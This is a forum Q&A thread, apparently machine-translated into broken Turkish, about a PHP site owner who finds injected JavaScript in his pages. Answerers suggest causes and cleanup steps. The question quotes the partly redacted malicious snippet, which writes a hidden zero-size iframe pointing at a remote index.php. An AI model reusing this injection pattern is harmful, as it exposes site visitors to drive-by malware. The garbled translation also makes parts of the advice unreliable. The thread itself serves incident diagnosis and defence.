JavaScript benim PHP Pages enjekte ediliyor

7 Cevap php

Ben bir web sitesi var, ve ben sadece bir şekilde birisi benim sayfasında JavaScript enjekte discoverd. Nasıl yaptığını anlamaya ve nasıl yaptılar?

<script> var x = unescape("%68% (**** some other hex characters here
****%74%2e%63%6e%2f%76%69%64");document.write("<i"+"fr"+"am"+"e 
s"+"r"+"c=\""+x+"/ind"+"e"+"x.p"+"hp\" w"+"id"+"th=\"0\" he"+"i"+"ght=\"0\" 
fr"+"a"+"m"+"ebor"+"de"+"r=\"0\"><"+"/ifra"+"m"+"e>"); </script>

Oraya nasıl emin değilim hangisi. Herkes oraya nasıl biliyor? ve ne ben onu kaldırmak için ne yapabilirim?

7 Cevap

Artık bu bilmeniz gerekir:

Biz Linode de biraz görüyorum, ve bu sunucu bir saldırgan tarafından aşıldığını bir göstergesi. Çıkmamış, bu senin kullanıcıları enfekte veya bir spam sitesine bir link olacak bir tarayıcı istismar olması olasıdır.

Daha sonra analiz için enjekte kodu ile her şeyi kaydetmek ve hemen tüm sunucu ve Web yığınını yeniden dağıtın. Saldırgan şüphesiz kutusuna en az bir kabuk vardır, ve o kurnaz ise bu kaçınılmaz kök yol açacaktır.

Şimdi dağıtmanız güncel uygulamaları tutmak, işletilebilir PHP yazma durdurmak ve güçlü parolalar veya SSH tuşları ile kullanıcı hesaplarını kilitlemek. Benim şirket ya da bir şey pezevenk çalışıyor, ama bu biz how to completely redeploy from scratch ile ilgili bir makale yazdım kötü yönetilen Web Boxen üzerine such yaygın bir durum değildir. Ben bunu birkaç kez bir gün öneririz.

Beni downvoting ediyorsanız EDIT: de lütfen niye - Ben tam olarak bu kod ile üç olgu triaged ettik, bu yüzden bir şeyler uydurmuyorum.

EDIT 2: Orada durum biraz abartıyorsunuz bir konuda, ve ben bir VPS şirketin bir çalışanı değilim (ve ben bu çok görmek) çünkü sadece bulunuyor. Ben bu kullanıcının "Web ev", onun kontrolü altında paylaşılmaz barındırma bir sunucu olduğunu varsayarak bir hata yaptı. That bir hataydı, ama yine de ben haklı olduğumu şans var.

Uzlaşma karanlıkta çalışan yıkıcı sonuçlara sahip olabilir umutsuz bir durumdur. Yetkisiz bir parti kendi altyapısına erişim kazandı neden bilmiyorsanız, sorunu düzeltmek olamaz. Herkes biz yönetilen bahsediyoruz varsayılır yana, burada hosting paylaşılan - Haklısın ve XSS suçlu olduğunu şans var. Yine, soru çok veri ile sunulan ve uzlaşma genel geliştiriciler arasında yeterince yerçekimi ile tedavi edilmez bir durumdur değildi.

Ben bir kutu SSH sondalar, DoS veri, URL enjeksiyon, ya da bu konuda bir şey ile Internet üzerindeki başka bir isabet nerede açmak bilet dürüst yoruldum - ve kutusunu uygulanmasını Rails ya da PHP geliştiricisi hiçbir fikri neden var oldu ya ne o konuda yapabilir. Bu sistem uzlaşma değil, XSS belirtmek her şey vardır. Bu nedenle, bu OP'ın kontrolü altında bir sunucu olduğunu benim varsayım yanlış, ama ben şu anda işte olduğum için bu biletleri taşıma, (umarım) affedilebilir.

Benim cevap silmek beni isterseniz, sadece bunu söylemek, ama ben herhangi bir diğerleri oy görmüyorum.

PHP belirtilen beri, ben olmuş olabilir olası yolları bir liste üzerinden kaçıyorum. Bu listeye her şey dahil değildir; ama ne olduğunu soruşturma adil bir miktar yapmanızı sağlayacaktır.

  1. Bu web barındırma hacklenmiş ve bu onların bir parçası gevşek güvenlik aracılığıyla sayfanın içine konuldu mümkün. Bununla birlikte, do not assume this is the case. Bu last resort olmalıdır.
  2. Muhtemelen senin hatan. Ben nokta suçlu bu söyleme; ama er biz geliştiricilerin bizim sorunların nedeni olduğunun farkındayım, kapalı daha iyi hepimiz olacağız. Ben güvenmiyorum, sadece geliştirici o hataları yapmaz diyor biridir.

  3. Siteniz muhtemelen XSS attack ile vuruldu.

    • Eğer web sitenizde bilgi yazmanız bir kullanıcı için any yolu var mı? Eğer any textboxes veya kullanıcı girişi sağlayacak bir şey kullanıyor musunuz?

Eğer öyleyse, daha sonra sitenizin XSS ve diğer saldırılara karşı savunmasız olduğunu. Here's a 'cheat-sheet' ki size bu hafifletmek için yapabileceğiniz genel şeyler anlatacağım.

  1. Siz herhangi bir kullanıcı veri veritabanı without being parametrized geçmesine izin vermemelidir.

  2. Bir kullanıcı HTML eklemek için izin gidiyoruz, o zaman için sanitize it gerekir.

  3. Don't use magic quotes.

Orada bu olmuş olabilir birçok yolu vardır, ancak daha fazla bilgi olmadan, ben ne yazdım kapalı gidiyorum.

Adımlar:

  1. App çevrimdışı yapın.
  2. Bu enjekte edilmiştir kaç sayfa / girişleri görmek için veritabanını sorgulamak.
  3. Ben söz şeyler için kodu ile kontrol edin.
  4. O Fix.
  5. Lütfen veritabanı üzerinden gidin ve herhangi bir şüpheli satırları (bir SQL komut kolay olurdu) çıkarın.
  6. App yeniden dağıtma.
  7. Eğer web sunucusu günlükleri bir göz tutmak emin olun. Onlar saldırı nereden geldiğini belirleyen bir nimettir demektir.

Eğer güvenlik açıkları herhangi bir 3. parti uygulamaları kullanıyor musunuz? Örneğin, bir süre önce biz kötü dosyaları yüklemek için kullanılmaya başlandı yerde tüm örnekler klasörler varsayılan konumda kurmak FCK editörü eski bir sürümü ile bir sorunu vardı.

this question ki onun da benzer bir sorun ile ilgili ServerFault soruya bir takibi olduğunu görüyoruz.

Karartılmış kısım "t.cn / vid" için unescapes

Ben sayfaları kod enjekte edilmiş olan, bu nedenle sunucu veya üzerinde çalışan herhangi bir uygulama bir güvenlik delik olmadığından bu yapıldığını görmek gibi. Hacker komut yetenekleri yazma ve çözüm sunucuda yüklü herhangi bir uygulamada bir delik arıyor olarak FTP şifresini değiştirme gibi çok kolay ya da çok karmaşık olabilir.

Ama önce en az 12 karakter uzunluğunda üzerinde herhangi bir özel karakter ile, bir tahmin için çok zor bunu değiştirin, FTP şifrenizi değiştirmek için çalışın. Ben herhangi bir karanlık amaç için başka sitelere yönlendirmek için sayfaların başlıklarını komut enjekte edildi Rus hackerlardan yöneltiliyor bir kaba kuvvet saldırısı olduğunu duydum.

(Ama ortak fakat eski uygulamaları için bir kontrol yapmak - Bu kendi kod aracılığıyla yapıldığını az olasıdır (ama tabii ki onu korumak için hiçbir neden kodu beri, ne de bunun için olası istismarlar genellikle yaygın olarak bilinen değildir) WordPress, Drupal, ...) hesabınızda.

Ben bir kaç gün önce benzer bir şey karşılaştı ettik, onlar erişmek hangi aracılığıyla yüklü eski bir WordPress (v2.0 sanırım) blog olduğunu ortaya çıktı.

Eğer yapabilirseniz, aynı zamanda sunucu üzerinde PHP dosyaları son değişiklik olduğu zaman sunucu günlüklerini denetleyin. Benim durumumda, onlar girdi ve ne buna karşı nasıl açık bir plak verdi.